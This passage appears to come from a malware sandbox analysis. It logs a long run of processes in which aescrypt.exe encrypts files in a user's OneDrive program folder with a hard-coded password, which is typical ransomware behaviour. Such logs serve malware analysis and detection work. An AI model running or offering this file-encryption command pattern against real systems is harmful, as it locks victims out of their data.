  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bg\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8388
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bn-BD\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3776
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bn-IN\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8592
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bs-Latn-BA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8660
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ca\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:452
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ca-Es-VALENCIA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\cs\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:784
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\cy-GB\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\da\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3088
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\de\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:9192
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\el\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8176
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1364
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en-GB\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en-US\msipc.dll.mui"
  2⤵
  PID:1500
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\es\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8552
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\et\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8544
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\eu\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8672
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fa\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8540
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fi\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8728
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fil-PH\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8784
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fr\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8820
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ga-IE\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8764
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gd\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5160
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gl\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3392
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gu\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8836
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ha-Latn-NG\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8172
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\he\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8880
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hi\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8112
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hr\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8052
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hu\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hy\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7932
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\id\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8152
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ig-NG\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8032
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qjpeg.dll"
  2⤵
  PID:64
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qsvg.dll"
  2⤵
  PID:1052
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\acmDismissIcon.svg"
  2⤵
  PID:3100
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\blurrect.png"
  2⤵
  PID:4236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\checkmark_finished.svg"
  2⤵
  PID:324
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\checkmark_hovered.svg"
  2⤵
  PID:3760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\checkmark_in_progress.svg"
  2⤵
  PID:2044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\checkmark_selected.svg"
  2⤵
  PID:712
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\chevron.svg"
  2⤵
  PID:8164
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\chevronUp.svg"
  2⤵
  PID:5308
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\cloud.svg"
  2⤵
  PID:8236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\done_graphic.svg"
  2⤵
  PID:8908
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\errorIcon.svg"
  2⤵
  PID:8904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\folderIcon.svg"
  2⤵
  PID:2836
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\folder_image_desktop.svg"
  2⤵
  PID:8920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\folder_image_documents.svg"
  2⤵
  PID:1760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\folder_image_pictures.svg"
  2⤵
  PID:2356
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\globeIcon.svg"
  2⤵
  PID:8956
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\iceBucket.svg"
  2⤵
  PID:6476
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\infoIcon.svg"
  2⤵
  PID:6368
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\kfm_folders_image.svg"
  2⤵
  PID:6384
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\loading.svg"
  2⤵
  PID:5236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\loading_spinner.svg"
  2⤵
  PID:5840
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\onDemandFiles.svg"
  2⤵
  PID:2188
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\onDemandFilesDehydrate.svg"
  2⤵
  PID:1952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\onDemandSelectiveSync.svg"
  2⤵
  PID:4220
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\overflowIcon.svg"
  2⤵
  PID:5992
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\overflowIconLarge.svg"
  2⤵
  PID:6012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\partiallyFreezing.svg"
  2⤵
  PID:1812
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\paused.svg"
  2⤵
  PID:6940
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\premiumIcon.svg"
  2⤵
  PID:5224
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\recycleBin.svg"
  2⤵
  PID:4368
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\shield_icon.svg"
  2⤵
  PID:7652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\signIn.svg"
  2⤵
  PID:6868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\stackedIceCubes.svg"
  2⤵
  PID:5176
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\warning-symbol_grey.svg"
  2⤵
  PID:6212
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\waterGlass.svg"
  2⤵
  PID:6892
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.MsoProtector.dll"
  2⤵
  PID:5996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.OfcProtector.dll"
  2⤵
  PID:4696
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\microsoft.office.irm.pdfprotector.dll"
  2⤵
  PID:6004
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\is\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6152
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\it\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6440
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ja\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8980
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ka\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6472
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kk\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5440
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\km-KH\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kn\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7336
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ko\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7832
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kok\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3284
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ku-Arab\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7316
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ky\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7880
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lb-LU\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7840
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lt\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:5372
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lv\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7816
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mi-NZ\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7948
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mk\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6772
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ml-IN\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:3592
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mn\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4712
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mr\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ms\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:2524
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mt-MT\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:2488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nb-NO\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ne-NP\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6444
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nl\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nn-NO\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7612
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nso-ZA\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7040
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\or-IN\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pa\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7860
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pa-Arab-PK\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8048
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pl\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7764
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\platforms\qwindows.dll"
  2⤵
  PID:7500
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\prs-AF\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7376
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pt-BR\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:7716
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pt-PT\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:1380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\FabExMDL2.ttf"
  2⤵
  PID:7044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\qmldir"
  2⤵
  PID:7064
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\qmldir"
  2⤵
  PID:6416
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\qtquickextrasflatplugin.dll"
  2⤵
  PID:6960
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\Button.qml"
  2⤵
  PID:6608
- C:\Users\Admin\Desktop\aescrypt.exe
